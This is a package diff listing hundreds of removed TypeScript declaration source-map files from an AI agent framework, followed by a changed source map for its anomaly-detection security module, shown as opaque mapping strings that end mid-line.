  1065. package/lib/plugin-loop-hooks.d.ts.map +0 -1
  1066. package/lib/plugin-runtime/agent-event-bus.d.ts.map +0 -1
  1067. package/lib/plugin-runtime/agent-host-port.d.ts.map +0 -1
  1068. package/lib/plugin-runtime/agent-runtime.d.ts.map +0 -1
  1069. package/lib/plugin-runtime/agent-trace-runtime.d.ts.map +0 -1
  1070. package/lib/plugin-runtime/ai-completion.d.ts.map +0 -1
  1071. package/lib/plugin-runtime/capability-ingress.d.ts.map +0 -1
  1072. package/lib/plugin-runtime/capability-tools.d.ts.map +0 -1
  1073. package/lib/plugin-runtime/decision-runtime.d.ts.map +0 -1
  1074. package/lib/plugin-runtime/deferred-capability-plan.d.ts.map +0 -1
  1075. package/lib/plugin-runtime/file-edit-quote-utils.d.ts.map +0 -1
  1076. package/lib/plugin-runtime/file-search-scope.d.ts.map +0 -1
  1077. package/lib/plugin-runtime/full-agent-turn-engine.d.ts.map +0 -1
  1078. package/lib/plugin-runtime/host-mcp-projection.d.ts.map +0 -1
  1079. package/lib/plugin-runtime/host-tool-projection.d.ts.map +0 -1
  1080. package/lib/plugin-runtime/index.d.ts.map +0 -1
  1081. package/lib/plugin-runtime/native-bash-tool.d.ts.map +0 -1
  1082. package/lib/plugin-runtime/native-file-tools.d.ts.map +0 -1
  1083. package/lib/plugin-runtime/native-image-tool.d.ts.map +0 -1
  1084. package/lib/plugin-runtime/native-interaction-tools.d.ts.map +0 -1
  1085. package/lib/plugin-runtime/native-knowledge-tool.d.ts.map +0 -1
  1086. package/lib/plugin-runtime/native-semantic-memory-tools.d.ts.map +0 -1
  1087. package/lib/plugin-runtime/native-todo-tools.d.ts.map +0 -1
  1088. package/lib/plugin-runtime/native-tool-suite.d.ts.map +0 -1
  1089. package/lib/plugin-runtime/native-web-tools.d.ts.map +0 -1
  1090. package/lib/plugin-runtime/schedule-capability-plan.d.ts.map +0 -1
  1091. package/lib/plugin-runtime/subagent-turn-capability.d.ts.map +0 -1
  1092. package/lib/plugin-runtime/turn-intent-resolver.d.ts.map +0 -1
  1093. package/lib/prompt/assembly.d.ts.map +0 -1
  1094. package/lib/prompt/estimate-tokens.d.ts.map +0 -1
  1095. package/lib/prompt/git-context.d.ts.map +0 -1
  1096. package/lib/prompt/index.d.ts.map +0 -1
  1097. package/lib/prompt/model-aware-builder.d.ts.map +0 -1
  1098. package/lib/prompt/model-prompt-strategy.d.ts.map +0 -1
  1099. package/lib/prompt/prompt-assembly-registry.d.ts.map +0 -1
  1100. package/lib/prompt/prompt-budget.d.ts.map +0 -1
  1101. package/lib/prompt/prompt-builder.d.ts.map +0 -1
  1102. package/lib/prompt/rules/code-references.d.ts.map +0 -1
  1103. package/lib/prompt/rules/critical-rules.d.ts.map +0 -1
  1104. package/lib/prompt/rules/editing.d.ts.map +0 -1
  1105. package/lib/prompt/rules/error-handling.d.ts.map +0 -1
  1106. package/lib/prompt/rules/index.d.ts.map +0 -1
  1107. package/lib/prompt/rules/memory.d.ts.map +0 -1
  1108. package/lib/prompt/rules/task-completion.d.ts.map +0 -1
  1109. package/lib/prompt/rules/workflow-rules.d.ts.map +0 -1
  1110. package/lib/prompt/system-prompt.d.ts.map +0 -1
  1111. package/lib/prompt/templates.d.ts.map +0 -1
  1112. package/lib/prompt/tokens.d.ts.map +0 -1
  1113. package/lib/prompt/turn-prompt-profile.d.ts.map +0 -1
  1114. package/lib/prompt/workspace-prompt.d.ts.map +0 -1
  1115. package/lib/reserved-tools.d.ts.map +0 -1
  1116. package/lib/resource-hub/hook-registry.d.ts.map +0 -1
  1117. package/lib/resource-hub/index.d.ts.map +0 -1
  1118. package/lib/resource-hub/mcp-lifecycle.d.ts.map +0 -1
  1119. package/lib/resource-hub/mcp-registry.d.ts.map +0 -1
  1120. package/lib/resource-hub/public-api.d.ts.map +0 -1
  1121. package/lib/resource-hub/resolve-subagent-tools.d.ts.map +0 -1
  1122. package/lib/resource-hub/resource-registry.d.ts.map +0 -1
  1123. package/lib/resource-hub/role-configs.d.ts.map +0 -1
  1124. package/lib/resource-hub/skill-registry.d.ts.map +0 -1
  1125. package/lib/resource-hub/subagent-registry.d.ts.map +0 -1
  1126. package/lib/resource-hub/tool-selection.d.ts.map +0 -1
  1127. package/lib/resource-hub/types.d.ts.map +0 -1
  1128. package/lib/routing/runtime-binding.d.ts.map +0 -1
  1129. package/lib/routing/subagent-summarize.d.ts.map +0 -1
  1130. package/lib/schedule-cron.d.ts.map +0 -1
  1131. package/lib/schedule-domain/audit-logger.d.ts.map +0 -1
  1132. package/lib/schedule-domain/budget-guard.d.ts.map +0 -1
  1133. package/lib/schedule-domain/execution-domain.d.ts.map +0 -1
  1134. package/lib/schedule-domain/index.d.ts.map +0 -1
  1135. package/lib/schedule-domain/output-validator.d.ts.map +0 -1
  1136. package/lib/schedule-domain/prompt-assembler.d.ts.map +0 -1
  1137. package/lib/schedule-domain/schedule-execution-queue.d.ts.map +0 -1
  1138. package/lib/schedule-domain/security-harness.d.ts.map +0 -1
  1139. package/lib/schedule-manager.d.ts.map +0 -1
  1140. package/lib/seam/index.d.ts.map +0 -1
  1141. package/lib/seam/seam-integration.d.ts.map +0 -1
  1142. package/lib/seam/seam-provider.d.ts.map +0 -1
  1143. package/lib/seam/skill-service.d.ts.map +0 -1
  1144. package/lib/seam/tokens.d.ts.map +0 -1
  1145. package/lib/seam/tool-service.d.ts.map +0 -1
  1146. package/lib/security/anomaly-detection.d.ts.map +0 -1
  1147. package/lib/security/audit-logger.d.ts.map +0 -1
  1148. package/lib/security/comm-message-context.d.ts.map +0 -1
  1149. package/lib/security/dangerous-tool-policy.d.ts.map +0 -1
  1150. package/lib/security/exec-policy.d.ts.map +0 -1
  1151. package/lib/security/file-policy.d.ts.map +0 -1
  1152. package/lib/security/file-role-policy.d.ts.map +0 -1
  1153. package/lib/security/index.d.ts.map +0 -1
  1154. package/lib/security/network-authority.d.ts.map +0 -1
  1155. package/lib/security/network-policy-context.d.ts.map +0 -1
  1156. package/lib/security/network-policy.d.ts.map +0 -1
  1157. package/lib/security/outbound-leak-guard.d.ts.map +0 -1
  1158. package/lib/security/owner-approval-contracts.d.ts.map +0 -1
  1159. package/lib/security/owner-approval-runtime.d.ts.map +0 -1
  1160. package/lib/security/owner-approval-store.d.ts.map +0 -1
  1161. package/lib/security/policy-facade.d.ts.map +0 -1
  1162. package/lib/security/policy-narrowing.d.ts.map +0 -1
  1163. package/lib/security/provenance.d.ts.map +0 -1
  1164. package/lib/security/sandbox-docker.d.ts.map +0 -1
  1165. package/lib/security/sandbox.d.ts.map +0 -1
  1166. package/lib/security/trust-level.d.ts.map +0 -1
  1167. package/lib/security/turn-file-authority.d.ts.map +0 -1
  1168. package/lib/security/turn-network-client.d.ts.map +0 -1
  1169. package/lib/security/usage-quota.d.ts.map +0 -1
  1170. package/lib/segment/filter-im-delivery.d.ts.map +0 -1
  1171. package/lib/service.d.ts.map +0 -1
  1172. package/lib/session/approval-port.d.ts.map +0 -1
  1173. package/lib/session/approval-review-agent.d.ts.map +0 -1
  1174. package/lib/session/branch-summarization-runtime.d.ts.map +0 -1
  1175. package/lib/session/contracts.d.ts.map +0 -1
  1176. package/lib/session/index.d.ts.map +0 -1
  1177. package/lib/session/session-io.d.ts.map +0 -1
  1178. package/lib/session/session-key.d.ts.map +0 -1
  1179. package/lib/session/session-system.d.ts.map +0 -1
  1180. package/lib/session/session-tree-commands.d.ts.map +0 -1
  1181. package/lib/session/strategies.d.ts.map +0 -1
  1182. package/lib/session/turn-ingress-session.d.ts.map +0 -1
  1183. package/lib/session-tree-runtime.d.ts.map +0 -1
  1184. package/lib/skill/capability-catalog.d.ts.map +0 -1
  1185. package/lib/skill/contracts.d.ts.map +0 -1
  1186. package/lib/skill/index.d.ts.map +0 -1
  1187. package/lib/skill/progressive-disclosure.d.ts.map +0 -1
  1188. package/lib/skill/skill-instruction-reader-factory.d.ts.map +0 -1
  1189. package/lib/skill/skill-instruction-reader.d.ts.map +0 -1
  1190. package/lib/skill/skill-instructions.d.ts.map +0 -1
  1191. package/lib/skill/skill-registry-as-service.d.ts.map +0 -1
  1192. package/lib/skill/skill-system.d.ts.map +0 -1
  1193. package/lib/spawn/permission-task.d.ts.map +0 -1
  1194. package/lib/spawn/spawn-task-tool.d.ts.map +0 -1
  1195. package/lib/stability/memory-pressure.d.ts.map +0 -1
  1196. package/lib/standalone/standalone-tool-catalog.d.ts.map +0 -1
  1197. package/lib/subagent/contracts.d.ts.map +0 -1
  1198. package/lib/subagent/im-result-sink.d.ts.map +0 -1
  1199. package/lib/subagent/index.d.ts.map +0 -1
  1200. package/lib/subagent/subagent-runtime.d.ts.map +0 -1
  1201. package/lib/subagent/subagent-system-init.d.ts.map +0 -1
  1202. package/lib/subagent/subagent-system.d.ts.map +0 -1
  1203. package/lib/subagent-ai-events.d.ts.map +0 -1
  1204. package/lib/subagent-artifact.d.ts.map +0 -1
  1205. package/lib/subagent-goal-notify.d.ts.map +0 -1
  1206. package/lib/subagent-parent-context.d.ts.map +0 -1
  1207. package/lib/subagent-preset.d.ts.map +0 -1
  1208. package/lib/subagent-prompt.d.ts.map +0 -1
  1209. package/lib/task-executor.d.ts.map +0 -1
  1210. package/lib/tool/builtin-policy-extractors.d.ts.map +0 -1
  1211. package/lib/tool/context-tools.d.ts.map +0 -1
  1212. package/lib/tool/contracts.d.ts.map +0 -1
  1213. package/lib/tool/conversation-reference-tool.d.ts.map +0 -1
  1214. package/lib/tool/deferred-resolution.d.ts.map +0 -1
  1215. package/lib/tool/executable-tool-registry.d.ts.map +0 -1
  1216. package/lib/tool/index.d.ts.map +0 -1
  1217. package/lib/tool/pre-exec.d.ts.map +0 -1
  1218. package/lib/tool/prepare-turn-tools.d.ts.map +0 -1
  1219. package/lib/tool/runtime.d.ts.map +0 -1
  1220. package/lib/tool/sources.d.ts.map +0 -1
  1221. package/lib/tool/tool-approval-gate.d.ts.map +0 -1
  1222. package/lib/tool/tool-approval-once-store.d.ts.map +0 -1
  1223. package/lib/tool/tool-execution-authority.d.ts.map +0 -1
  1224. package/lib/tool/tool-model-output.d.ts.map +0 -1
  1225. package/lib/tool/tool-runtime.d.ts.map +0 -1
  1226. package/lib/tool/tool-system.d.ts.map +0 -1
  1227. package/lib/tool/turn-tool-runtime.d.ts.map +0 -1
  1228. package/lib/tool-bridge.d.ts.map +0 -1
  1229. package/lib/tool-catalog/deferred-turn-controller.d.ts.map +0 -1
  1230. package/lib/tool-catalog/index.d.ts.map +0 -1
  1231. package/lib/tool-catalog/resolve-config.d.ts.map +0 -1
  1232. package/lib/tool-catalog/session-deferred-store.d.ts.map +0 -1
  1233. package/lib/tool-catalog/tool-catalog.d.ts.map +0 -1
  1234. package/lib/tool-catalog/types.d.ts.map +0 -1
  1235. package/lib/trace/context-budget.d.ts.map +0 -1
  1236. package/lib/trace/index.d.ts.map +0 -1
  1237. package/lib/trace/turn-trace-archive.d.ts.map +0 -1
  1238. package/lib/trace/turn-trace-format.d.ts.map +0 -1
  1239. package/lib/trace/turn-trace-registry.d.ts.map +0 -1
  1240. package/lib/trace/turn-trace-store.d.ts.map +0 -1
  1241. package/lib/trace/turn-trace.d.ts.map +0 -1
  1242. package/lib/turn/agent-turn-context.d.ts.map +0 -1
  1243. package/lib/turn/auto-continue.d.ts.map +0 -1
  1244. package/lib/turn/cancel-intent.d.ts.map +0 -1
  1245. package/lib/turn/deferred-auto-continue.d.ts.map +0 -1
  1246. package/lib/turn/deferred-delivery.d.ts.map +0 -1
  1247. package/lib/turn/deferred-turn-state.d.ts.map +0 -1
  1248. package/lib/turn/execute-agent-turn.d.ts.map +0 -1
  1249. package/lib/turn/inbound-media.d.ts.map +0 -1
  1250. package/lib/turn/inbound-queue-config.d.ts.map +0 -1
  1251. package/lib/turn/inbound-queue-runtime.d.ts.map +0 -1
  1252. package/lib/turn/inbound-turn-queue.d.ts.map +0 -1
  1253. package/lib/turn/index.d.ts.map +0 -1
  1254. package/lib/turn/journal-feed.d.ts.map +0 -1
  1255. package/lib/turn/journal-integrity.d.ts.map +0 -1
  1256. package/lib/turn/persist-deferred-context.d.ts.map +0 -1
  1257. package/lib/turn/persist-subagent-context.d.ts.map +0 -1
  1258. package/lib/turn/process-stream.d.ts.map +0 -1
  1259. package/lib/turn/prompt-access.d.ts.map +0 -1
  1260. package/lib/turn/prompt-api.d.ts.map +0 -1
  1261. package/lib/turn/prompt-controller.d.ts.map +0 -1
  1262. package/lib/turn/prompt-input.d.ts.map +0 -1
  1263. package/lib/turn/session-message-queue.d.ts.map +0 -1
  1264. package/lib/turn/subagent-auto-continue.d.ts.map +0 -1
  1265. package/lib/turn/task-continuation.d.ts.map +0 -1
  1266. package/lib/turn/trigger-cancelled-error.d.ts.map +0 -1
  1267. package/lib/turn/turn-admission-gate.d.ts.map +0 -1
  1268. package/lib/turn/turn-complete.d.ts.map +0 -1
  1269. package/lib/turn/turn-context-bridge.d.ts.map +0 -1
  1270. package/lib/turn/turn-deferred-delta.d.ts.map +0 -1
  1271. package/lib/turn/turn-event-source.d.ts.map +0 -1
  1272. package/lib/turn/turn-ingress.d.ts.map +0 -1
  1273. package/lib/turn/turn-metrics.d.ts.map +0 -1
  1274. package/lib/turn/turn-pipeline.d.ts.map +0 -1
  1275. package/lib/turn/turn-terminal.d.ts.map +0 -1
  1276. package/lib/turn/turn-tracker.d.ts.map +0 -1
  1277. package/lib/types/disposable.d.ts.map +0 -1
  1278. package/lib/typing-indicator/adapter-integration.d.ts.map +0 -1
  1279. package/lib/typing-indicator/index.d.ts.map +0 -1
  1280. package/lib/user-profile.d.ts.map +0 -1
  1281. package/lib/utils/config-env.d.ts.map +0 -1
  1282. package/lib/utils/keyed-mutex.d.ts.map +0 -1
  1283. package/lib/web/bing-search-html.d.ts.map +0 -1
  1284. package/lib/web/web-search-locale.d.ts.map +0 -1
  1285. package/lib/web/web-tool-utils.d.ts.map +0 -1
  1286. package/lib/zhin-agent/index.d.ts.map +0 -1
  1287. package/lib/zhin-agent/runtime-modules.d.ts.map +0 -1
@@ -1 +1 @@
1
- {"version":3,"file":"anomaly-detection.js","sourceRoot":"","sources":["../../src/security/anomaly-detection.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"anomaly-detection.js","sourceRoot":"","sources":["../../src/security/anomaly-detection.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AAEH,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AAE5C,MAAM,MAAM,GAAG,SAAS,CAAC,iBAAiB,CAAC,CAAC;AA4D5C,mEAAmE;AAEnE,MAAM,OAAO,eAAe;IAClB,QAAQ,GAAiC,IAAI,GAAG,EAAE,CAAC;IACnD,KAAK,GAA+B,IAAI,GAAG,EAAE,CAAC;IAC9C,MAAM,GAAmB,EAAE,CAAC;IAC5B,SAAS,GAAyC,EAAE,CAAC;IACrD,MAAM,CAAU,UAAU,GAAG,GAAG,CAAC;IAEzC;;OAEG;IACH,UAAU,CAAC,OAAwB;QACjC,IAAI,CAAC,QAAQ,CAAC,GAAG,CAAC,OAAO,CAAC,EAAE,EAAE,OAAO,CAAC,CAAC;IACzC,CAAC;IAED;;OAEG;IACH,aAAa,CAAC,EAAU;QACtB,IAAI,CAAC,QAAQ,CAAC,MAAM,CAAC,EAAE,CAAC,CAAC;IAC3B,CAAC;IAED;;OAEG;IACH,OAAO,CAAC,IAAmB;QACzB,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,IAAI,CAAC,EAAE,EAAE,IAAI,CAAC,CAAC;IAChC,CAAC;IAED;;OAEG;IACH,UAAU,CAAC,EAAU;QACnB,IAAI,CAAC,KAAK,CAAC,MAAM,CAAC,EAAE,CAAC,CAAC;IACxB,CAAC;IAED;;OAEG;IACH,MAAM,CAAC,IAA6B;QAClC,MAAM,SAAS,GAAmB,EAAE,CAAC;QAErC,WAAW;QACX,KAAK,MAAM,CAAC,MAAM,EAAE,IAAI,CAAC,IAAI,IAAI,CAAC,KAAK,CAAC,OAAO,EAAE,EAAE,CAAC;YAClD,IAAI,CAAC,IAAI,CAAC,OAAO,EAAE,CAAC;gBAClB,SAAS;YACX,CAAC;YAED,IAAI,CA